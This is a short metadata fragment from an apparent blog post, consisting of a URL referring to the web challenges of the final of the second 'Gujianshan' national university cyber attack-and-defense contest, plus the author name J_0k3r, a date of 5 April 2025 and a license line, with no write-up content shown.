http://example.com/2025/04/05/“古剑山”第二届全国大学生网络攻防大赛决赛-web/
作者
J_0k3r
发布于
2025年4月5日
许可协议
BY J_0K3R